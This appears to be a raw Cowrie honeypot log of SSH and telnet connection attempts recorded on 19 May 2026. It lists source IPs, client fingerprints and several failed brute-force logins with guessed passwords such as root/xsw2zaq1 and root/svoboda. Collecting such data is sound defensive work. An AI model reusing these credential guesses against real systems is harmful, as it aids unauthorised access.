{"eventid":"cowrie.session.closed","duration":34.43434810638428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:43.638904Z","src_ip":"192.119.13.58","session":"714620fa0a27","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:43.849307Z","src_ip":"103.77.175.15","session":"63d9af73f1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xsw2zaq1","message":"login attempt [root/xsw2zaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:44.615050Z","src_ip":"103.77.175.15","session":"63d9af73f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44472,"dst_ip":"10.17.0.5","dst_port":23,"session":"da987c1ff6d0","protocol":"telnet","message":"New connection: 192.119.13.58:44472 (10.17.0.5:23) [session: da987c1ff6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:45.138824Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:45.872125Z","src_ip":"103.77.175.15","session":"63d9af73f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.09054946899414,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:46.251852Z","src_ip":"192.119.13.58","session":"7de4a55e87a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.298604011535645,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:49.429088Z","src_ip":"192.119.13.58","session":"adbe1781fa5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.23191690444946,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:52.436619Z","src_ip":"192.119.13.58","session":"337e3e73a696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef7699f662e","protocol":"telnet","message":"New connection: 192.119.13.58:57782 (10.17.0.5:23) [session: cef7699f662e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:54.182958Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59006,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b67bb8232f1","protocol":"telnet","message":"New connection: 192.119.13.58:59006 (10.17.0.5:23) [session: 0b67bb8232f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:54.499394Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b94d0f8325e","protocol":"telnet","message":"New connection: 192.119.13.58:37528 (10.17.0.5:23) [session: 3b94d0f8325e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:55.807590Z"}
{"eventid":"cowrie.session.closed","duration":15.019268989562988,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:56.905699Z","src_ip":"192.119.13.58","session":"cc3c9e56c512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95ee1d2a2dd","protocol":"telnet","message":"New connection: 192.119.13.58:48154 (10.17.0.5:23) [session: c95ee1d2a2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:57.992417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40672,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b88a015392","protocol":"telnet","message":"New connection: 192.119.13.58:40672 (10.17.0.5:23) [session: 77b88a015392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:03.922605Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"03db84e534b2","protocol":"telnet","message":"New connection: 192.119.13.58:43986 (10.17.0.5:23) [session: 03db84e534b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:04.690550Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e3d909c4b8","protocol":"telnet","message":"New connection: 192.119.13.58:54886 (10.17.0.5:23) [session: 39e3d909c4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:06.396897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58340,"dst_ip":"10.17.0.5","dst_port":23,"session":"3022198e5451","protocol":"telnet","message":"New connection: 192.119.13.58:58340 (10.17.0.5:23) [session: 3022198e5451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:07.290543Z"}
{"eventid":"cowrie.session.closed","duration":43.88750171661377,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:08.697292Z","src_ip":"192.119.13.58","session":"7ef683427df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.10138130187988,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:08.852355Z","src_ip":"192.119.13.58","session":"d57bb119f891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd4c6093f0d","protocol":"telnet","message":"New connection: 192.119.13.58:40418 (10.17.0.5:23) [session: 1bd4c6093f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:09.895155Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35006,"dst_ip":"159.203.135.109","dst_port":22,"session":"55e1a2af7ff6","protocol":"ssh","message":"New connection: 89.108.118.91:35006 (159.203.135.109:22) [session: 55e1a2af7ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:13.635122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:13.639505Z","src_ip":"89.108.118.91","session":"55e1a2af7ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:13.777158Z","src_ip":"89.108.118.91","session":"55e1a2af7ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1996","message":"login attempt [root/dima1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:14.195769Z","src_ip":"89.108.118.91","session":"55e1a2af7ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:15.336776Z","src_ip":"89.108.118.91","session":"55e1a2af7ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35958,"dst_ip":"10.17.0.5","dst_port":23,"session":"42d9da49bf17","protocol":"telnet","message":"New connection: 192.119.13.58:35958 (10.17.0.5:23) [session: 42d9da49bf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:15.976606Z"}
{"eventid":"cowrie.session.closed","duration":37.43684244155884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:22.575555Z","src_ip":"192.119.13.58","session":"da987c1ff6d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58612,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb74b4b6621","protocol":"telnet","message":"New connection: 192.119.13.58:58612 (10.17.0.5:23) [session: cbb74b4b6621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:27.532540Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47236,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1b811c41b6f","protocol":"telnet","message":"New connection: 192.119.13.58:47236 (10.17.0.5:23) [session: e1b811c41b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:31.783617Z"}
{"eventid":"cowrie.session.closed","duration":35.154271364212036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:33.146584Z","src_ip":"192.119.13.58","session":"c95ee1d2a2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58868,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ab7bfdf301","protocol":"telnet","message":"New connection: 192.119.13.58:58868 (10.17.0.5:23) [session: 83ab7bfdf301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:34.481798Z"}
{"eventid":"cowrie.session.closed","duration":34.17851448059082,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:40.575280Z","src_ip":"192.119.13.58","session":"39e3d909c4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58134,"dst_ip":"10.17.0.5","dst_port":23,"session":"51970e975f85","protocol":"telnet","message":"New connection: 192.119.13.58:58134 (10.17.0.5:23) [session: 51970e975f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:40.921842Z"}
{"eventid":"cowrie.session.closed","duration":32.70976495742798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:42.604795Z","src_ip":"192.119.13.58","session":"1bd4c6093f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29224610328674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:43.582678Z","src_ip":"192.119.13.58","session":"3022198e5451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.793036222457886,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:45.483229Z","src_ip":"192.119.13.58","session":"03db84e534b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.02598810195923,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:49.525250Z","src_ip":"192.119.13.58","session":"0b67bb8232f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.72287917137146,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:49.530345Z","src_ip":"192.119.13.58","session":"3b94d0f8325e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.85422468185425,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:49.776716Z","src_ip":"192.119.13.58","session":"77b88a015392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57788,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c5f4eb8a5d","protocol":"telnet","message":"New connection: 192.119.13.58:57788 (10.17.0.5:23) [session: 56c5f4eb8a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:52.940084Z"}
{"eventid":"cowrie.session.closed","duration":58.892168283462524,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:53.074997Z","src_ip":"192.119.13.58","session":"cef7699f662e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f305da19e3d3","protocol":"telnet","message":"New connection: 192.119.13.58:59160 (10.17.0.5:23) [session: f305da19e3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:53.460136Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":45298,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c6868e4c90","protocol":"ssh","message":"New connection: 45.78.204.254:45298 (10.17.0.5:22) [session: b9c6868e4c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:58.521763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:58.526478Z","src_ip":"45.78.204.254","session":"b9c6868e4c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:43:58.851666Z","src_ip":"45.78.204.254","session":"b9c6868e4c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parth","password":"parth","message":"login attempt [parth/parth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:01.057896Z","src_ip":"45.78.204.254","session":"b9c6868e4c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:02.353251Z","src_ip":"45.78.204.254","session":"b9c6868e4c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80297064781189,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:04.586387Z","src_ip":"192.119.13.58","session":"e1b811c41b6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.76057410240173,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:05.292986Z","src_ip":"192.119.13.58","session":"cbb74b4b6621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50218,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2987984b1aa","protocol":"telnet","message":"New connection: 192.119.13.58:50218 (10.17.0.5:23) [session: c2987984b1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:05.680266Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50638,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb6f2792e32","protocol":"telnet","message":"New connection: 192.119.13.58:50638 (10.17.0.5:23) [session: 8cb6f2792e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:05.816538Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54434,"dst_ip":"10.17.0.5","dst_port":23,"session":"0758ac5bf802","protocol":"telnet","message":"New connection: 192.119.13.58:54434 (10.17.0.5:23) [session: 0758ac5bf802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:06.806126Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35596,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec40a782832","protocol":"telnet","message":"New connection: 192.119.13.58:35596 (10.17.0.5:23) [session: 2ec40a782832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:09.394686Z"}
{"eventid":"cowrie.session.closed","duration":53.71412396430969,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:09.690620Z","src_ip":"192.119.13.58","session":"42d9da49bf17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e10291d1184","protocol":"ssh","message":"New connection: 103.149.170.125:36624 (10.17.0.5:22) [session: 5e10291d1184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:11.494771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:11.499771Z","src_ip":"103.149.170.125","session":"5e10291d1184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:11.759634Z","src_ip":"103.149.170.125","session":"5e10291d1184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svoboda","message":"login attempt [root/svoboda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:12.539238Z","src_ip":"103.149.170.125","session":"5e10291d1184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.75441813468933,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:13.236109Z","src_ip":"192.119.13.58","session":"83ab7bfdf301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:13.802119Z","src_ip":"103.149.170.125","session":"5e10291d1184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.200053453445435,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:20.121782Z","src_ip":"192.119.13.58","session":"51970e975f85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":55388,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9856c040051","protocol":"ssh","message":"New connection: 94.159.109.207:55388 (10.17.0.5:22) [session: e9856c040051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:21.669768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:21.677756Z","src_ip":"94.159.109.207","session":"e9856c040051","protocol":"ssh"}
